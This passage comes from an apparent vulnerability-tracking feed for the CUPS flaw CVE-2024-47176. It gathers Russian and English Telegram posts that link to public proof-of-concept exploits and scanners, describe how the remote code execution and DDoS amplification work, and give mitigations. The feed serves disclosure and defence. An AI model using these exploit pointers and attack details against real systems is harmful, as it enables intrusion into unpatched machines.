\u0431\u043e\u043b\u044c\u0448\u0435.\n\n\u0421\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0435. \u041f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c, \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c CUPS. \n\n\u041d\u043e \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0431\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c.", "creation_timestamp": "2024-09-30T13:11:39.000000Z"}, {"uuid": "b4e0edc5-0baf-455f-9f77-e01500be452a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1539", "content": "CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177: Linux OpenPrinting CUPS RCE\n\nblog: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\n\nPoC: https://github.com/RickdeJager/cupshax\n\npatch:\nsudo systemctl stop cups-browsed\nsudo systemctl disable cups-browsed\n\n#exploit #git #pentest #redteam", "creation_timestamp": "2024-09-27T12:56:55.000000Z"}, {"uuid": "ef90bd36-091c-4bfb-baed-bc54d55379c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/Yfjl9RN0GeLXY9bMmWue6ZMJ8Qhlf06phKHOC1P1-O3oUDs", "content": "", "creation_timestamp": "2024-09-27T18:50:19.000000Z"}, {"uuid": "2cf249f9-7187-467d-a6c3-13626fcd5c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/thehackernews/5652", "content": "\ud83d\udea8 New CUPS vulnerabilities in Linux allow attackers to execute remote commands via print jobs! Affected systems include Debian, Fedora, RHEL.  \n \nFind details of CVE-2024-47176 here: https://thehackernews.com/2024/09/critical-linux-cups-printing-system.html \n \nDisable \u2018cups-browsed\u2019 & block UDP port 631 until patches arrive.", "creation_timestamp": "2024-09-27T14:34:54.000000Z"}, {"uuid": "ca6d10b4-38a0-4372-ac77-c35039082564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3277", "content": "https://github.com/l0n3m4n/CVE-2024-47176\n\nUnauthenticated RCE on cups-browsed (exploit and nuclei template)\n#github #exploit", "creation_timestamp": "2024-10-03T19:25:53.000000Z"}, {"uuid": "e4ec743a-2eb4-4ba5-abda-8e62cac3acf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11196", "content": "#Threat_Research\n1. Watchguard Unauthenticated and Unencrypted SSO Protocol\nhttps://www.redteam-pentesting.de/en/advisories/rt-sa-2024-006\n2. Attacking UNIX Systems via CUPS (CVE-2024-47076, CVE-2024-47115, CVE-2024-47176, CVE-2024-47177)\nhttps://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I\n]-> https://github.com/RickdeJager/cupshax", "creation_timestamp": "2024-09-28T07:25:32.000000Z"}, {"uuid": "5f4c0fa6-0dc9-404c-9e8c-833777d7b5ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/TAtjTOaDEPJ1bR_5ctFOaG1Hic1PWf8X_vOVFA5gLQr4", "content": "", "creation_timestamp": "2024-11-11T18:35:39.000000Z"}, {"uuid": "390a5047-9c1b-474d-aefc-f2a11b142e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "Telegram/HPf4rnJhTXs3qYpqLaPVxvSy_pHWUyjw5EcKhHnizBFydaU", "content": "", "creation_timestamp": "2026-05-10T09:00:05.000000Z"}, {"uuid": "2317148b-24c4-42d1-8ae5-e3f99a08c43f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/cyberok_news/76", "content": "\u26a0\ufe0f\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 CUPS\n\n\u203c\ufe0f \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Akamai \u0435\u0449\u0435 \u0440\u0430\u0437 \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0443\u044e CVE-2024-47176 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 CUPS. \n\n\u0414\u0435\u043b\u043e \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f L7 DDoS Amplification \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u043a\u0430\u043a \u0443\u0441\u0438\u043b\u0438\u0442\u0435\u043b\u0435\u0439 \u0430\u0442\u0430\u043a\u0438. \n\n\ud83e\udd43 \u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0441\u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 CUPS \u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 URL \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u0412 \u0442\u0430\u043a\u043e\u043c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u0438 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u0434\u043b\u044f DDoS Amplification, \u0442\u0430\u043a \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0432\u0430\u0436\u0434\u044b \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043e\u0442 \u0436\u0435\u0440\u0442\u0432\u044b \u2013 \u0432 HTTP POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0438 \u0432 \u0441\u0430\u043c\u043e\u043c IPP-\u0437\u0430\u043f\u0440\u043e\u0441\u0435. \n\n\ud83d\udd0e \u0420\u0430\u043d\u0435\u0435, \u0421\u0430\u0439\u0431\u0435\u0440\u041e\u041a \u0421\u041a\u0418\u041f\u0410 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043e\u043a\u043e\u043b\u043e 5000 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \n\n\u2757\ufe0f\u041c\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 DDoS \u0441 \u0443\u0441\u0438\u043b\u0435\u043d\u0438\u0435\u043c \u0438 \u0435\u0449\u0435 \u0440\u0430\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0438 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0432 \u0440\u0443\u043a\u0430\u0445 \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0435\u0439 \u043f\u043e-DDoS'\u0438\u0442\u044c.", "creation_timestamp": "2026-08-04T13:00:22.905459Z"}, {"uuid": "2cd1befc-d6c8-49af-a1a0-ca81d19f11b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/cyberok_news/75", "content": "\ud83c\udf81 \u041d\u0430\u0434\u0435\u0435\u043c\u0441\u044f \u0432\u0441\u0435\u043c \u0432\u0430\u043c \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u0441\u044f \u043f\u044f\u0442\u043d\u0438\u0447\u043d\u044b\u0439 \u043f\u043e\u0434\u0430\u0440\u043e\u0447\u0435\u043a\ud83c\udf81\n\n\u0421\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440\u044b. \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u043f\u0435\u0447\u0430\u0442\u0438 OpenPrinting (cups-browsed, libppd, libcupsfilters and cups-filters) \u0431\u044b\u043b\u0438 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Simone Margaritelli (evilsocket), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0431\u0430\u0433\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043a\u0430\u043a CVE-2024-47176, CVE-2024-47175, CVE-2024-47177.\n\n\ud83d\udc80 \u0411\u0430\u0433\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043d\u0430 631/UDP \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c Linux \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u00ab\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0443\u00bb \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0414\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u043c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 mDNS / DNS-SD, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0433\u0443\u043b\u044f\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u043a\u0430\u043b\u043a\u0435 \u0431\u0440\u043e\u0434\u043a\u0430\u0441\u0442\u044b. \u0415\u0441\u043b\u0438 \u0412\u0430\u043c \u0435\u0449\u0435 \u043d\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u043e, \u0437\u043d\u0430\u0447\u0438\u0442 \u0412\u044b \u043d\u0435 \u043b\u0430\u0437\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u0438\u043d\u0442\u0435\u0440. \n\n\ud83c\udf10\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0421\u0430\u0439\u0431\u0435\u0440\u041e\u041a \u0421\u041a\u0418\u041f\u0410 (https://www.cyberok.ru/skipa.html) \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u043a\u043e\u043b\u043e 5000 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \u041c\u044b \u043e\u0447\u0435\u043d\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c CUPS/LPD (631/UDP/TCP) \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u043c \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435 \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u044f. \u0414\u0430 \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c default deny \u0434\u0430\u0436\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f.  \n\n\ud83d\udea7 \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 <= 2.0.1. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430, \u043d\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0430. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u0442\u0435\u043a\u043b\u0438 \u0431\u0435\u0437 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u0438, \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043c\u043d\u043e\u0436\u043a\u043e \u0437\u0430\u0431\u0443\u0440\u043b\u0438\u043b\u043e. \u0414\u0430\u0436\u0435 \u0441\u0430\u043c Solar Designer \u043e\u0442\u043a\u0440\u044b\u043b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0435\u0434 \u0432 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0435 Open Source Security https://www.openwall.com/lists/oss-security/2024/09/26/5. \n \n\u0421\u043f\u0430\u0441\u0430\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b!\n\n\u0438\u043b\u0438 \u043f\u043e-\u043f\u044f\u0442\u043d\u0438\u0447\u043d\u043e\u043c\u0443\n\nSave your CUPS!\n\ud83e\udd43\ud83e\udd43\ud83e\udd43\ud83e\udd43\ud83e\udd43\ud83e\udd43\n\n\u041e\u0431\u0437\u043e\u0440:\nhttps://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 \n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\nhttps://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 CERT-EU:\nhttps://cert.europa.eu/publications/security-advisories/2024-103/", "creation_timestamp": "2026-08-04T13:00:23.084491Z"}, {"uuid": "c3667864-2c58-4f89-9cdf-111a293808dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2239", "content": "https://github.com/MalwareTech/CVE-2024-47176-Scanner", "creation_timestamp": "2026-08-04T01:00:04.494001Z"}, {"uuid": "325d34e8-0b81-4c09-b41a-c0219d2bb338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/cyberok_news/75", "content": "\ud83c\udf81 \u041d\u0430\u0434\u0435\u0435\u043c\u0441\u044f \u0432\u0441\u0435\u043c \u0432\u0430\u043c \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u0441\u044f \u043f\u044f\u0442\u043d\u0438\u0447\u043d\u044b\u0439 \u043f\u043e\u0434\u0430\u0440\u043e\u0447\u0435\u043a\ud83c\udf81\n\n\u0421\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u043e\u0440\u044b. \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u043f\u0435\u0447\u0430\u0442\u0438 OpenPrinting (cups-browsed, libppd, libcupsfilters and cups-filters) \u0431\u044b\u043b\u0438 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Simone Margaritelli (evilsocket), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0431\u0430\u0433\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043a\u0430\u043a CVE-2024-47176, CVE-2024-47175, CVE-2024-47177.\n\n\ud83d\udc80 \u0411\u0430\u0433\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043d\u0430 631/UDP \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c Linux \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u00ab\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0443\u00bb \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0414\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u043c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 mDNS / DNS-SD, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0433\u0443\u043b\u044f\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u043a\u0430\u043b\u043a\u0435 \u0431\u0440\u043e\u0434\u043a\u0430\u0441\u0442\u044b. \u0415\u0441\u043b\u0438 \u0412\u0430\u043c \u0435\u0449\u0435 \u043d\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u043e, \u0437\u043d\u0430\u0447\u0438\u0442 \u0412\u044b \u043d\u0435 \u043b\u0430\u0437\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u0438\u043d\u0442\u0435\u0440. \n\n\ud83c\udf10\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0421\u0430\u0439\u0431\u0435\u0440\u041e\u041a \u0421\u041a\u0418\u041f\u0410 (https://www.cyberok.ru/skipa.html) \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u043a\u043e\u043b\u043e 5000 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \u041c\u044b \u043e\u0447\u0435\u043d\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c CUPS/LPD (631/UDP/TCP) \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u043c \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435 \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u044f. \u0414\u0430 \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c default deny \u0434\u0430\u0436\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f.  \n\n\ud83d\udea7 \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 <= 2.0.1. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430, \u043d\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0430. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u0442\u0435\u043a\u043b\u0438 \u0431\u0435\u0437 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u0438, \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043c\u043d\u043e\u0436\u043a\u043e \u0437\u0430\u0431\u0443\u0440\u043b\u0438\u043b\u043e. \u0414\u0430\u0436\u0435 \u0441\u0430\u043c Solar Designer \u043e\u0442\u043a\u0440\u044b\u043b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0435\u0434 \u0432 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0435 Open Source Security https://www.openwall.com/lists/oss-security/2024/09/26/5. \n \n\u0421\u043f\u0430\u0441\u0430\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b!\n\n\u0438\u043b\u0438 \u043f\u043e-\u043f\u044f\u0442\u043d\u0438\u0447\u043d\u043e\u043c\u0443\n\nSave your CUPS!\n\ud83e\udd43\ud83e\udd43\ud83e\udd43\ud83e\udd43\ud83e\udd43\ud83e\udd43\n\n\u041e\u0431\u0437\u043e\u0440:\nhttps://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 \n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\nhttps://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 CERT-EU:\nhttps://cert.europa.eu/publications/security-advisories/2024-103/", "creation_timestamp": "2026-08-06T00:00:46.837134Z"}, {"uuid": "802f0fd3-13bf-4d25-8c36-c4e7dcc3da31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/aktivcons/1461", "content": "\ud83d\udc27 Cupshax - RCE \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432 UNIX\n#unix #RCE #CVE\n\nCVE-2024-47176 CVE-2024-47076 CVE-2024-47175 CVE-2024-47177\n\n\u0412\u0447\u0435\u0440\u0430 \u0432\u0435\u0447\u0435\u0440\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043d\u0430\u0432\u043e\u0434\u043d\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c\u044e \u043e \u043d\u043e\u0432\u043e\u0439 \u0431\u0430\u0433\u0435 \u0432 UNIX \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, 